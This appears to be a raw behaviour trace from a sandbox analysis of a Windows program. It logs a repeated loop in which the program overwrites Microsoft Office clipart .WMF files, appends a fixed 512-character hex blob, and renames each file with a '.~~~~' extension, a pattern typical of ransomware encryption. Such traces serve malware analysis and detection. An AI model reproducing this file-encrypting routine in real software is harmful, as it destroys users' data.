	[0092.382] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffe4f8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.382] WriteFile (in: hFile=0x12c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x1b08, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x1b08, lpOverlapped=0x0) returned 1
	[0092.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0092.383] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.383] WriteFile (in: hFile=0x12c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.383] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.383] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.383] CloseHandle (hObject=0x12c) returned 1
	[0092.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0092.383] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf.~~~~")) returned 1
	[0092.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0092.385] GetLastError () returned 0x0
	[0092.385] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0092.386] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.386] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.386] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0092.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0092.386] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21237621138) returned 1
	[0092.386] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa0d53f50, dwHighDateTime=0x1d60e1e)) 
	[0092.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0092.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0092.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0092.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387bf8
	[0092.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.386] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387bf8 | out: hHeap=0x300000) returned 1
	[0092.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.387] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.387] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0092.387] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.387] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38abc0
	[0092.387] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.387] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0092.387] GetLastError () returned 0x0
	[0092.387] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0092.387] GetLastError () returned 0x0
	[0092.390] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffffb18, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.390] WriteFile (in: hFile=0x12c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x4e8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x4e8, lpOverlapped=0x0) returned 1
	[0092.390] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0092.390] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.390] WriteFile (in: hFile=0x12c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.391] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.391] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.391] CloseHandle (hObject=0x12c) returned 1
	[0092.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0092.391] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf.~~~~")) returned 1
	[0092.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0092.544] GetLastError () returned 0x0
	[0092.544] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0092.545] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.545] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.545] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0092.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0092.545] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21253549273) returned 1
	[0092.545] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa0ed0d10, dwHighDateTime=0x1d60e1e)) 
	[0092.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0092.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0092.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0092.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387f08
	[0092.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387f08 | out: hHeap=0x300000) returned 1
	[0092.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0092.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38ac58
	[0092.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.546] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0092.546] GetLastError () returned 0x0
	[0092.546] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0092.546] GetLastError () returned 0x0
	[0092.551] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffff48a8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.551] WriteFile (in: hFile=0x12c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0xb758, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0xb758, lpOverlapped=0x0) returned 1
	[0092.552] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0092.553] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.553] WriteFile (in: hFile=0x12c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.553] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.553] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.553] CloseHandle (hObject=0x12c) returned 1
	[0092.553] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0092.553] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf.~~~~")) returned 1
	[0092.554] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.554] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0092.554] GetLastError () returned 0x0
	[0092.556] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0092.557] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.557] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.557] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0092.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0092.557] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21254712967) returned 1
	[0092.557] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa0ef6e70, dwHighDateTime=0x1d60e1e)) 
	[0092.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0092.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0092.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0092.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387f40
	[0092.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.557] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387f40 | out: hHeap=0x300000) returned 1
	[0092.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.557] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0092.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38b4a8
	[0092.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.558] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0092.558] GetLastError () returned 0x0
	[0092.558] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0092.558] GetLastError () returned 0x0
	[0092.561] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffc270, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.561] WriteFile (in: hFile=0x12c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x3d90, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x3d90, lpOverlapped=0x0) returned 1
	[0092.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0092.562] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.562] WriteFile (in: hFile=0x12c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.562] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.562] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.562] CloseHandle (hObject=0x12c) returned 1
	[0092.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0092.562] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf.~~~~")) returned 1
	[0092.563] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.563] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0092.563] GetLastError () returned 0x0
	[0092.564] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0092.566] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.566] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.566] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0092.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0092.566] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21255626933) returned 1
	[0092.566] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa0f1cfd0, dwHighDateTime=0x1d60e1e)) 
	[0092.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0092.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0092.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0092.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387f78
	[0092.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.567] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387f78 | out: hHeap=0x300000) returned 1
	[0092.567] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.567] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.567] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0092.567] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.567] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38b540
	[0092.567] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.567] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0092.567] GetLastError () returned 0x0
	[0092.567] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0092.567] GetLastError () returned 0x0
	[0092.570] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffff91cc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.570] WriteFile (in: hFile=0x12c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x6e34, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x6e34, lpOverlapped=0x0) returned 1
	[0092.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0092.571] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.571] WriteFile (in: hFile=0x12c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.571] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.571] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.572] CloseHandle (hObject=0x12c) returned 1
	[0092.572] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0092.572] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf.~~~~")) returned 1
	[0092.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0092.573] GetLastError () returned 0x0
	[0092.574] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0092.575] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.575] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0092.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0092.575] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21256509304) returned 1
	[0092.575] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa0f1cfd0, dwHighDateTime=0x1d60e1e)) 
	[0092.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0092.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0092.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0092.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387fb0
	[0092.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387fb0 | out: hHeap=0x300000) returned 1
	[0092.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0092.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38b5d8
	[0092.576] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.576] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0092.576] GetLastError () returned 0x0
	[0092.576] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0092.576] GetLastError () returned 0x0
